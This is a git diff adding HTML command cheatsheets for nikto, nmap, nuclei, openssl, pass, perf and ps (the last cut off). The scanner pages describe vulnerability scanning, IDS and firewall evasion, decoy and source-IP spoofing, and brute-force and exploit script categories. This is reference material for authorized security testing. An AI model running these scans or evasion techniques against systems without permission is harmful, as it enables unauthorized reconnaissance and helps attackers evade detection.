    +
  • Use flush ruleset carefully - it removes everything
  • +
+
    +
  • Escape semicolons with backslash in shell commands
  • +
+
    +
  • nftables is the future - iptables is in maintenance mode
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/nikto.html b/cheatsheets/nikto.html new file mode 100644 index 0000000..06b35bc --- /dev/null +++ b/cheatsheets/nikto.html @@ -0,0 +1,264 @@ + + + + + + + + + + + nikto Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

nikto Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Nikto is an open source web server scanner that performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, outdated versions, and version-specific problems.

+
+

Basic Usage

+
    +
  • nikto -h <host> - Basic scan
  • +
+
    +
  • nikto -h http://example.com - Scan with protocol
  • +
+
    +
  • nikto -h 192.168.1.1 -p 8080 - Scan specific port
  • +
+
+

Target Options

+
    +
  • -h, -host - Target host
  • +
+
    +
  • -p, -port - Target port (default 80)
  • +
+
    +
  • -ssl - Force SSL mode
  • +
+
    +
  • -nossl - Disable SSL
  • +
+
    +
  • -vhost - Virtual host
  • +
+
    +
  • -root - Prepend path to all requests
  • +
+
+

Scan Options

+
    +
  • -Tuning <x> - Scan tuning (see below)
  • +
+
    +
  • -Plugins <plugins> - Select plugins
  • +
+
    +
  • -list-plugins - List available plugins
  • +
+
    +
  • -update - Update databases and plugins
  • +
+
    +
  • -dbcheck - Check database syntax
  • +
+
+

Tuning Options

+

Use with -Tuning flag:

+
    +
  • 0 - File upload
  • +
  • 1 - Interesting file/log
  • +
  • 2 - Misconfiguration/default file
  • +
  • 3 - Information disclosure
  • +
  • 4 - Injection (XSS/Script/HTML)
  • +
  • 5 - Remote file retrieval (inside root)
  • +
  • 6 - Denial of service
  • +
  • 7 - Remote file retrieval (server wide)
  • +
  • 8 - Command execution/remote shell
  • +
  • 9 - SQL injection
  • +
  • a - Authentication bypass
  • +
  • b - Software identification
  • +
  • c - Remote source inclusion
  • +
  • x - Reverse tuning (exclude)
  • +
+
+

Output Options

+
    +
  • -o, -output - Output file
  • +
+
    +
  • -Format <format> - Output format (csv, htm, txt, xml, json)
  • +
+
    +
  • -Display <option> - Display options
  • +
+
    +
  • -nointeractive - Disable interactive features
  • +
+

Display Options

+
    +
  • 1 - Show redirects
  • +
  • 2 - Show cookies
  • +
  • 3 - Show 200/OK responses
  • +
  • 4 - Show URLs requiring auth
  • +
  • D - Debug output
  • +
  • E - HTTP errors
  • +
  • P - Print progress
  • +
  • V - Verbose
  • +
+
+

Authentication

+
    +
  • -id user:pass - HTTP basic auth
  • +
+
    +
  • -id user:pass:realm - Auth with realm
  • +
+
+

Evasion Techniques

+
    +
  • -evasion <technique> - IDS evasion
  • +
+

Evasion Options

+
    +
  • 1 - Random URI encoding
  • +
  • 2 - Directory self-reference (/./)
  • +
  • 3 - Premature URL ending
  • +
  • 4 - Long random string
  • +
  • 5 - Fake parameter
  • +
  • 6 - TAB as request spacer
  • +
  • 7 - Random case sensitivity
  • +
  • 8 - Windows directory separator (\)
  • +
  • A - Use carriage return
  • +
  • B - Use binary value 0x0b
  • +
+
+

Proxy Options

+
    +
  • -useproxy - Use proxy from config
  • +
+
    +
  • -useproxy http://proxy:port - Use specific proxy
  • +
+
+

Performance

+
    +
  • -timeout - Request timeout (default 10)
  • +
+
    +
  • -Pause - Pause between tests
  • +
+
    +
  • -maxtime - Max scan time per host
  • +
+
    +
  • -until - Run until specific time
  • +
+
+

Common Examples

+

Basic Scan

+
nikto -h example.com
+

Standard vulnerability scan.

+

SSL Scan

+
nikto -h example.com -ssl
+

Scan HTTPS site.

+

Multiple Ports

+
nikto -h example.com -p 80,443,8080
+

Scan multiple ports.

+

Save Report

+
nikto -h example.com -o report.html -Format htm
+

Generate HTML report.

+

Specific Tests

+
nikto -h example.com -Tuning 9
+

SQL injection tests only.

+

Exclude Tests

+
nikto -h example.com -Tuning x6
+

Skip DoS tests.

+

With Authentication

+
nikto -h example.com -id admin:password
+

Scan with HTTP basic auth.

+

Evasion Mode

+
nikto -h example.com -evasion 1,2,7
+

Use evasion techniques.

+

Full Verbose Scan

+
nikto -h example.com -Display V -o full_scan.txt
+

Verbose output with log.

+
+

Configuration

+

Config File

+
    +
  • /etc/nikto.conf - System config
  • +
  • nikto.conf - Local config
  • +
+

Update Databases

+
nikto -update
+
+

Tips

+
    +
  • Run -update regularly for latest tests
  • +
+
    +
  • Use -Tuning to focus on specific vulnerability types
  • +
+
    +
  • Nikto is noisy - it will be detected by IDS
  • +
+
    +
  • Use -evasion for basic IDS evasion
  • +
+
    +
  • Combine with other tools like nmap and dirb
  • +
+
    +
  • HTML reports are good for documentation
  • +
+
    +
  • Some tests can be harmful - use -Tuning x6 to skip DoS
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/nmap.html b/cheatsheets/nmap.html new file mode 100644 index 0000000..c30dee3 --- /dev/null +++ b/cheatsheets/nmap.html @@ -0,0 +1,372 @@ + + + + + + + + + + + nmap Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

nmap Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

nmap (Network Mapper) is a network scanning and discovery tool. Used for security auditing, network inventory, and finding open ports and services.

+
+

Basic Scans

+
    +
  • nmap <target> - Basic TCP port scan
  • +
+
    +
  • nmap -sP <target> - Ping scan (host discovery only)
  • +
+
    +
  • nmap -sn <target> - Ping scan without port scan
  • +
+
    +
  • nmap -p <port> <target> - Scan specific port
  • +
+
    +
  • nmap -p- <target> - Scan all ports (1-65535)
  • +
+
    +
  • nmap -p 80,443,8080 <target> - Scan specific ports
  • +
+
    +
  • nmap -p 1-1000 <target> - Scan port range
  • +
+
+

Scan Types

+
    +
  • nmap -sS <target> - TCP SYN scan (stealth scan)
  • +
+
    +
  • nmap -sT <target> - TCP connect scan (default)
  • +
+
    +
  • nmap -sU <target> - UDP scan
  • +
+
    +
  • nmap -sA <target> - TCP ACK scan
  • +
+
    +
  • nmap -sN <target> - TCP NULL scan
  • +
+
    +
  • nmap -sF <target> - TCP FIN scan
  • +
+
    +
  • nmap -sX <target> - TCP Xmas scan
  • +
+
    +
  • nmap -sW <target> - TCP Window scan
  • +
+
    +
  • nmap -sM <target> - TCP Maimon scan
  • +
+
+

Timing and Performance

+
    +
  • nmap -T0 <target> - Paranoid (slowest, most stealth)
  • +
+
    +
  • nmap -T1 <target> - Sneaky
  • +
+
    +
  • nmap -T2 <target> - Polite
  • +
+
    +
  • nmap -T3 <target> - Normal (default)
  • +
+
    +
  • nmap -T4 <target> - Aggressive
  • +
+
    +
  • nmap -T5 <target> - Insane (fastest)
  • +
+
    +
  • nmap --min-rate <rate> <target> - Minimum packet rate
  • +
+
    +
  • nmap --max-rate <rate> <target> - Maximum packet rate
  • +
+
+

Host Discovery

+
    +
  • nmap -sn <target> - Ping scan (no port scan)
  • +
+
    +
  • nmap -Pn <target> - Skip host discovery (assume host is up)
  • +
+
    +
  • nmap -PS <port> <target> - TCP SYN ping
  • +
+
    +
  • nmap -PA <port> <target> - TCP ACK ping
  • +
+
    +
  • nmap -PU <port> <target> - UDP ping
  • +
+
    +
  • nmap -PE <target> - ICMP echo ping
  • +
+
    +
  • nmap -PP <target> - ICMP timestamp ping
  • +
+
    +
  • nmap -PR <target> - ARP ping (local network)
  • +
+
+

Service and Version Detection

+
    +
  • nmap -sV <target> - Version detection
  • +
+
    +
  • nmap -sV --version-intensity <0-9> <target> - Version intensity
  • +
+
    +
  • nmap -sC <target> - Default scripts (safe)
  • +
+
    +
  • nmap --script <script> <target> - Run specific script
  • +
+
    +
  • nmap --script-updatedb - Update script database
  • +
+
    +
  • nmap --script-help <script> - Script help
  • +
+
+

Operating System Detection

+
    +
  • nmap -O <target> - OS detection
  • +
+
    +
  • nmap -O --osscan-guess <target> - Aggressive OS detection
  • +
+
    +
  • nmap -A <target> - Aggressive scan (OS, version, script, traceroute)
  • +
+
+

Output Options

+
    +
  • nmap -oN <file> <target> - Normal output to file
  • +
+
    +
  • nmap -oX <file> <target> - XML output to file
  • +
+
    +
  • nmap -oS <file> <target> - Script kiddie output
  • +
+
    +
  • nmap -oG <file> <target> - Grepable output
  • +
+
    +
  • nmap -oA <basename> <target> - All formats (normal, XML, grepable)
  • +
+
    +
  • nmap -v <target> - Verbose output
  • +
+
    +
  • nmap -vv <target> - Very verbose output
  • +
+
    +
  • nmap -d <target> - Debug output
  • +
+
    +
  • nmap -dd <target> - More debug output
  • +
+
+

Common Scan Scripts

+
    +
  • nmap --script vuln <target> - Vulnerability scripts
  • +
+
    +
  • nmap --script auth <target> - Authentication scripts
  • +
+
    +
  • nmap --script brute <target> - Brute force scripts
  • +
+
    +
  • nmap --script discovery <target> - Discovery scripts
  • +
+
    +
  • nmap --script dos <target> - Denial of service scripts
  • +
+
    +
  • nmap --script exploit <target> - Exploit scripts
  • +
+
    +
  • nmap --script safe <target> - Safe scripts (default)
  • +
+
    +
  • nmap --script http-enum <target> - HTTP enumeration
  • +
+
    +
  • nmap --script ssh-brute <target> - SSH brute force
  • +
+
+

Useful Scan Examples

+

Quick Scan

+
nmap -sn 192.168.1.0/24
+

Ping scan of local network.

+

Comprehensive Scan

+
nmap -sS -sV -O -A -p- <target>
+

Stealth scan with version detection, OS detection, and all ports.

+

Fast Scan

+
nmap -F -T4 <target>
+

Fast scan of top 100 ports.

+

Stealth Scan

+
nmap -sS -T2 <target>
+

Slower SYN scan to avoid detection.

+

Service Detection

+
nmap -sV -p 80,443,8080 <target>
+

Version detection on common web ports.

+
+

Target Specification

+
    +
  • nmap 192.168.1.1 - Single IP
  • +
+
    +
  • nmap 192.168.1.1-100 - IP range
  • +
+
    +
  • nmap 192.168.1.0/24 - CIDR notation
  • +
+
    +
  • nmap -iL <file> - Target list from file
  • +
+
    +
  • nmap example.com - Hostname
  • +
+
    +
  • nmap 192.168.1.1 192.168.1.2 - Multiple targets
  • +
+
+

Firewall Evasion

+
    +
  • nmap -f <target> - Fragment packets
  • +
+
    +
  • nmap -D <decoy1,decoy2> <target> - Use decoy hosts
  • +
+
    +
  • nmap -S <source_ip> <target> - Spoof source IP
  • +
+
    +
  • nmap -e <interface> <target> - Use specific interface
  • +
+
    +
  • nmap -g <port> <target> - Use source port
  • +
+
    +
  • nmap --proxies <proxy> <target> - Use proxy
  • +
+
    +
  • nmap --data-length <num> <target> - Add random data
  • +
+
+

Configuration

+

Config File Location

+
    +
  • `~/.nmaprc` - User configuration file
  • +
+
    +
  • `/etc/nmap/nmap.conf` - System configuration file
  • +
+

Example Configuration

+
# Default scan type
+-oA /tmp/nmap-scan
+# Default port list
+--top-ports 1000
+
+

Tips

+
    +
  • Use -sS (SYN scan) for stealth when possible (requires root)
  • +
+
    +
  • Use -T4 for faster scans on trusted networks
  • +
+
    +
  • Use -sV to identify services and versions
  • +
+
    +
  • Use --script for automated vulnerability checks
  • +
+
    +
  • Use -oA to save results in multiple formats
  • +
+
    +
  • Always use nmap responsibly and only on networks you own/have permission
  • +
+
    +
  • Use -sn for quick host discovery without port scanning
  • +
+
    +
  • Use -p to target specific ports (saves time)
  • +
+
    +
  • Use CIDR notation for network scanning: 192.168.1.0/24
  • +
+
    +
  • Save output with -oA for later analysis
  • +
+
    +
  • Combine scan options: -sS -sV -O for comprehensive scan
  • +
+
    +
  • Use --script-help to learn about available scripts
  • +
+
    +
  • Be aware of scan timing (T0-T5) to avoid detection or overload
  • +
+
    +
  • Use -Pn when hosts block ping
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/nuclei.html b/cheatsheets/nuclei.html new file mode 100644 index 0000000..e8de140 --- /dev/null +++ b/cheatsheets/nuclei.html @@ -0,0 +1,287 @@ + + + + + + + + + + + nuclei Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

nuclei Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Nuclei is a fast, template-based vulnerability scanner by ProjectDiscovery. It uses YAML templates to define scanning logic, making it highly customizable and community-driven.

+
+

Basic Usage

+
    +
  • nuclei -u <url> - Scan single URL
  • +
+
    +
  • nuclei -l urls.txt - Scan from file
  • +
+
    +
  • nuclei -u <url> -t <template> - Use specific template
  • +
+
+

Target Options

+
    +
  • -u, -target - Target URL
  • +
+
    +
  • -l, -list - File with list of targets
  • +
+
    +
  • -resume - Resume scan using resume.cfg
  • +
+
+

Template Options

+
    +
  • -t, -templates - Template files/directories
  • +
+
    +
  • -tl - List available templates
  • +
+
    +
  • -nt, -new-templates - Run newly added templates
  • +
+
    +
  • -ntv, -new-templates-version - Run templates from specific version
  • +
+
    +
  • -as, -automatic-scan - Automatic web scan with wappalyzer
  • +
+
+

Filtering Templates

+
    +
  • -tags <tags> - Filter by tags (comma separated)
  • +
+
    +
  • -etags <tags> - Exclude tags
  • +
+
    +
  • -itags <tags> - Include only specific tags
  • +
+
    +
  • -s, -severity <level> - Filter by severity
  • +
+
    +
  • -es, -exclude-severity - Exclude severity levels
  • +
+
    +
  • -author <author> - Filter by author
  • +
+
    +
  • -type <type> - Filter by protocol type
  • +
+

Severity Levels

+
    +
  • info - Informational
  • +
  • low - Low severity
  • +
  • medium - Medium severity
  • +
  • high - High severity
  • +
  • critical - Critical severity
  • +
+
+

Output Options

+
    +
  • -o, -output - Output file
  • +
+
    +
  • -j, -json - JSON output
  • +
+
    +
  • -irr - Include request/response in output
  • +
+
    +
  • -nc, -no-color - Disable colors
  • +
+
    +
  • -silent - Silent mode (only results)
  • +
+
    +
  • -v, -verbose - Verbose output
  • +
+
    +
  • -debug - Debug output
  • +
+
+

Rate Limiting

+
    +
  • -rl, -rate-limit - Requests per second (default 150)
  • +
+
    +
  • -rlm, -rate-limit-minute - Requests per minute
  • +
+
    +
  • -bs, -bulk-size - Parallel hosts (default 25)
  • +
+
    +
  • -c, -concurrency - Parallel templates (default 25)
  • +
+
+

Configuration

+
    +
  • -config - Config file path
  • +
+
    +
  • -H, -header - Custom headers
  • +
+
    +
  • -V, -var - Custom variables key=value
  • +
+
    +
  • -sr, -store-resp - Store responses
  • +
+
    +
  • -srd, -store-resp-dir - Response storage directory
  • +
+
+

Proxy Options

+
    +
  • -proxy - HTTP proxy
  • +
+
    +
  • -proxy-socks-url - SOCKS proxy
  • +
+
    +
  • -proxy-auth - Proxy authentication
  • +
+
+

Update Options

+
    +
  • -update - Update nuclei
  • +
+
    +
  • -ut, -update-templates - Update templates
  • +
+
    +
  • -ud, -update-directory - Update template directory
  • +
+
+

Common Examples

+

Basic Scan

+
nuclei -u https://example.com
+

Run all templates against target.

+

Specific Template

+
nuclei -u https://example.com -t cves/2021/
+

Run 2021 CVE templates.

+

By Severity

+
nuclei -u https://example.com -s critical,high
+

Only critical and high severity.

+

By Tags

+
nuclei -u https://example.com -tags cve,rce
+

Filter by CVE and RCE tags.

+

Multiple Targets

+
nuclei -l urls.txt -o results.txt
+

Scan list, save results.

+

JSON Output

+
nuclei -u https://example.com -j -o results.json
+

Output in JSON format.

+

With Custom Headers

+
nuclei -u https://example.com -H "Authorization: Bearer token"
+

Scan with auth header.

+

Rate Limited

+
nuclei -u https://example.com -rl 50
+

Limit to 50 requests per second.

+

Automatic Scan

+
nuclei -u https://example.com -as
+

Auto-detect technologies and scan.

+

New Templates Only

+
nuclei -u https://example.com -nt
+

Run only recently added templates.

+
+

Common Tags

+
    +
  • cve - CVE vulnerabilities
  • +
  • rce - Remote code execution
  • +
  • lfi - Local file inclusion
  • +
  • sqli - SQL injection
  • +
  • xss - Cross-site scripting
  • +
  • ssrf - Server-side request forgery
  • +
  • exposure - Sensitive data exposure
  • +
  • tech - Technology detection
  • +
  • misconfig - Misconfigurations
  • +
  • takeover - Subdomain takeover
  • +
+
+

Template Locations

+
    +
  • ~/nuclei-templates/ - Default templates directory
  • +
  • Custom templates can be specified with -t flag
  • +
+
+

Tips

+
    +
  • Run -update-templates regularly for new checks
  • +
+
    +
  • Use -as for smart automatic scanning
  • +
+
    +
  • Filter by severity to focus on critical issues
  • +
+
    +
  • Combine with subfinder and httpx for full recon
  • +
+
    +
  • Write custom templates for specific checks
  • +
+
    +
  • Use -silent for clean output in pipelines
  • +
+
    +
  • Store responses with -sr for later analysis
  • +
+
    +
  • Part of ProjectDiscovery toolkit
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/openssl.html b/cheatsheets/openssl.html new file mode 100644 index 0000000..13cf3bb --- /dev/null +++ b/cheatsheets/openssl.html @@ -0,0 +1,170 @@ + + + + + + + + + + + openssl Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

openssl Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

OpenSSL is a cryptography toolkit providing implementations of SSL/TLS protocols and various cryptographic algorithms. Essential for certificate management, encryption, and secure communications.

+
+

Hashes

+
    +
  • openssl dgst -sha256 file.txt - Calculate SHA-256 hash
  • +
+
    +
  • openssl dgst -md5 file.txt - Calculate MD5 hash
  • +
+
    +
  • openssl dgst -sha512 file.txt - Calculate SHA-512 hash
  • +
+
    +
  • echo -n "text" | openssl dgst -sha256 - Hash from stdin
  • +
+
+

Base64 Encoding

+
    +
  • openssl base64 -in file.txt - Base64 encode
  • +
+
    +
  • openssl base64 -d -in encoded.txt - Base64 decode
  • +
+
    +
  • echo "text" | openssl base64 - Encode from stdin
  • +
+
+

Certificate Management

+
    +
  • openssl x509 -in cert.pem -text -noout - View certificate details
  • +
+
    +
  • openssl x509 -in cert.pem -dates -noout - Show validity dates
  • +
+
    +
  • openssl x509 -in cert.pem -fingerprint -noout - Show fingerprint
  • +
+
    +
  • openssl req -new -x509 -key key.pem -out cert.pem -days 365 - Generate self-signed cert
  • +
+
+

Key Generation

+
    +
  • openssl genrsa -out key.pem 2048 - Generate RSA private key (2048 bits)
  • +
+
    +
  • openssl genrsa -out key.pem 4096 - Generate RSA private key (4096 bits)
  • +
+
    +
  • openssl ecparam -genkey -name secp256r1 -out key.pem - Generate EC private key
  • +
+
    +
  • openssl rsa -in key.pem -pubout -out pubkey.pem - Extract public key
  • +
+
+

Encryption/Decryption

+
    +
  • openssl enc -aes-256-cbc -salt -in file.txt -out file.enc - Encrypt file
  • +
+
    +
  • openssl enc -aes-256-cbc -d -in file.enc -out file.txt - Decrypt file
  • +
+
    +
  • openssl enc -aes-256-gcm -in file.txt -out file.enc - Encrypt with GCM
  • +
+
+

SSL/TLS Testing

+
    +
  • openssl s_client -connect host:443 - Connect to SSL server
  • +
+
    +
  • openssl s_client -connect host:443 -showcerts - Show certificate chain
  • +
+
    +
  • openssl s_client -connect host:443 -servername example.com - SNI support
  • +
+
+

Common Examples

+

Calculate Hash

+
openssl dgst -sha256 file.iso
+

Calculate SHA-256 hash of file.

+

View Certificate

+
openssl x509 -in cert.pem -text -noout
+

Display certificate information.

+

Generate Self-Signed Certificate

+
openssl req -new -x509 -key key.pem -out cert.pem -days 365
+

Create self-signed certificate valid for 1 year.

+

Encrypt File

+
openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc
+

Encrypt file with AES-256-CBC.

+

Test SSL Connection

+
openssl s_client -connect example.com:443
+

Test SSL/TLS connection to server.

+
+

Tips

+
    +
  • Use modern algorithms (AES-256-GCM, SHA-256, ECDSA)
  • +
+
    +
  • Always use -salt for encryption (default in newer versions)
  • +
+
    +
  • RSA 2048-bit minimum, prefer 4096 for long-term keys
  • +
+
    +
  • EC keys are smaller and faster than RSA
  • +
+
    +
  • Use s_client to debug SSL/TLS connections
  • +
+
    +
  • Check certificate expiration dates regularly
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/pass.html b/cheatsheets/pass.html new file mode 100644 index 0000000..712eafd --- /dev/null +++ b/cheatsheets/pass.html @@ -0,0 +1,180 @@ + + + + + + + + + + + pass Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

pass Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

pass is the standard unix password manager. It stores passwords in GPG-encrypted files organized in a directory tree. Simple, secure, and works with git for syncing.

+
+

Initialization

+
    +
  • pass init <gpg-id> - Initialize password store with GPG key
  • +
+
    +
  • pass git init - Initialize git repository in password store
  • +
+
    +
  • ~/.password-store/ - Default password store location
  • +
+
+

Basic Operations

+
    +
  • pass - Show list of passwords
  • +
+
    +
  • pass <entry> - Show password for entry
  • +
+
    +
  • pass -c <entry> - Copy password to clipboard
  • +
+
    +
  • pass insert <entry> - Insert new password (prompts)
  • +
+
    +
  • pass generate <entry> <length> - Generate random password
  • +
+
    +
  • pass rm <entry> - Remove password entry
  • +
+
    +
  • pass mv <old> <new> - Rename/move entry
  • +
+
    +
  • pass cp <old> <new> - Copy entry
  • +
+
+

Password Generation

+
    +
  • pass generate <entry> 20 - Generate 20-character password
  • +
+
    +
  • pass generate -n <entry> 16 - Generate without symbols
  • +
+
    +
  • pass generate -c <entry> 24 - Generate and copy to clipboard
  • +
+
    +
  • pass generate -i <entry> - Interactive generation
  • +
+
+

Multi-line Entries

+
    +
  • pass insert -m <entry> - Insert multi-line entry
  • +
+
    +
  • First line is password, additional lines are metadata
  • +
+
    +
  • pass edit <entry> - Edit entry with $EDITOR
  • +
+
+

Git Integration

+
    +
  • pass git init - Initialize git repo
  • +
+
    +
  • pass git push - Push to remote
  • +
+
    +
  • pass git pull - Pull from remote
  • +
+
    +
  • pass git log - Show commit history
  • +
+
+

Common Examples

+

Initialize Store

+
pass init your@email.com
+

Initialize password store with your GPG key.

+

Generate Password

+
pass generate -c websites/github.com 32
+

Generate and copy 32-character password.

+

Retrieve Password

+
pass websites/github.com
+

Show password for entry.

+

Copy to Clipboard

+
pass -c websites/github.com
+

Copy password to clipboard (clears after 45 seconds).

+

Multi-line Entry

+
pass insert -m accounts/example.com
+# Enter password, then username, then notes
+

Create entry with password and metadata.

+

Git Sync

+
pass git init
+pass git remote add origin git@example.com:pass.git
+pass git push
+

Set up git sync for password store.

+
+

Tips

+
    +
  • Organize passwords in directories (websites/, servers/, etc.)
  • +
+
    +
  • Use -c flag to copy passwords without displaying them
  • +
+
    +
  • First line of entry is the password, rest is metadata
  • +
+
    +
  • Git integration makes it easy to sync across devices
  • +
+
    +
  • Works great with browser extensions (passff, browserpass)
  • +
+
    +
  • Use pass-otp for TOTP codes
  • +
+
    +
  • Simple, auditable, and secure
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/perf.html b/cheatsheets/perf.html new file mode 100644 index 0000000..fe5afff --- /dev/null +++ b/cheatsheets/perf.html @@ -0,0 +1,222 @@ + + + + + + + + + + + perf Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

perf Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

perf is a performance analysis tool for Linux. Provides profiling, tracing, and performance monitoring capabilities using hardware performance counters and kernel tracing.

+
+

Basic Usage

+
    +
  • perf stat command - Count events
  • +
+
    +
  • perf record command - Record performance data
  • +
+
    +
  • perf report - Analyze recorded data
  • +
+
    +
  • perf top - Real-time profiling
  • +
+
    +
  • perf list - List available events
  • +
+
+

perf stat

+
    +
  • perf stat command - Count events for command
  • +
+
    +
  • perf stat -a - System-wide statistics
  • +
+
    +
  • perf stat -e event - Count specific event
  • +
+
    +
  • perf stat -p PID - Attach to process
  • +
+
    +
  • perf stat -r N - Run N times and average
  • +
+
    +
  • perf stat -d - Detailed statistics
  • +
+
    +
  • perf stat -I interval - Interval output
  • +
+
+

perf record

+
    +
  • perf record command - Record command execution
  • +
+
    +
  • perf record -a - System-wide recording
  • +
+
    +
  • perf record -p PID - Record process
  • +
+
    +
  • perf record -g - Record call graphs
  • +
+
    +
  • perf record -e event - Record specific event
  • +
+
    +
  • perf record -F freq - Sampling frequency
  • +
+
    +
  • perf record -o file - Output file
  • +
+
    +
  • perf record -s - Per-thread statistics
  • +
+
+

perf report

+
    +
  • perf report - Analyze perf.data
  • +
+
    +
  • perf report -i file - Input file
  • +
+
    +
  • perf report -g - Show call graph
  • +
+
    +
  • perf report -s symbol - Sort by symbol
  • +
+
    +
  • perf report -n - Show overhead
  • +
+
    +
  • perf report --stdio - Text output
  • +
+
    +
  • perf report --tui - TUI interface
  • +
+
+

perf top

+
    +
  • perf top - Real-time profiling
  • +
+
    +
  • perf top -a - System-wide
  • +
+
    +
  • perf top -p PID - Specific process
  • +
+
    +
  • perf top -e event - Specific event
  • +
+
    +
  • perf top -g - Show call graph
  • +
+
    +
  • perf top -K - Hide kernel symbols
  • +
+
    +
  • perf top -U - Hide user symbols
  • +
+
+

Common Examples

+

Count Events

+
perf stat ls
+

Count performance events for command.

+

System-Wide Stats

+
perf stat -a sleep 5
+

System-wide statistics.

+

Record Performance

+
perf record -g ./program
+

Record with call graph.

+

Real-Time Profiling

+
perf top
+

Interactive performance monitor.

+

List Events

+
perf list
+

Show available events.

+

Analyze Recorded Data

+
perf report
+

View performance report.

+

Record Process

+
perf record -p 1234
+

Record specific process.

+

Specific Event

+
perf stat -e cache-misses command
+

Count cache misses.

+
+

Tips

+
    +
  • Use perf stat for quick measurements
  • +
+
    +
  • Use perf record for detailed analysis
  • +
+
    +
  • Use -g for call graph analysis
  • +
+
    +
  • Use perf top for real-time monitoring
  • +
+
    +
  • Check perf list for available events
  • +
+
    +
  • May require root for system-wide profiling
  • +
+
    +
  • Essential for performance optimization
  • +
+
    +
  • Powerful tool for kernel and application profiling
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/ps.html b/cheatsheets/ps.html new file mode 100644 index 0000000..5124c94 --- /dev/null +++ b/cheatsheets/ps.html @@ -0,0 +1,234 @@ + + + + + + + + + + + ps Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

ps Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

ps (process status) displays information about running processes. Shows process IDs, resource usage, and command lines. Essential for system monitoring and process management.

+
+

Basic Usage

+
    +
  • ps - List processes in current session
  • +
+
    +
  • ps aux - All processes (BSD style)
  • +
+
    +
  • ps -ef - All processes (System V style)
  • +
+
    +
  • ps -e - All processes
  • +
+
    +
  • ps -f - Full format
  • +
+
    +
  • ps -u user - User processes
  • +
+
+

Common Options

+
    +
  • -a - All processes except session leaders
  • +
+
    +
  • -e - All processes
  • +
+
    +
  • -f - Full format
  • +
+
    +
  • -l - Long format
  • +
+
    +
  • -u user - User processes
  • +
+
    +
  • -p PID - Specific PID
  • +
+
    +
  • -C command - Command name
  • +
+
    +
  • -x - Include processes without TTY
  • +
+
+

Output Format

+
    +
  • ps aux - User-oriented format
  • +
+
    +
  • ps -ef - Full format
  • +
+
    +
  • ps -l - Long format
  • +
+
    +
  • ps -o format - Custom format
  • +
+
    +
  • ps --forest - Tree format
  • +
+
    +
  • ps --sort key - Sort by key
  • +
+
+

Custom Columns

+
    +
  • ps -o pid,comm,cmd - Custom columns
  • +
+
    +
  • ps -o pid,user,%mem,%cpu - Resource usage
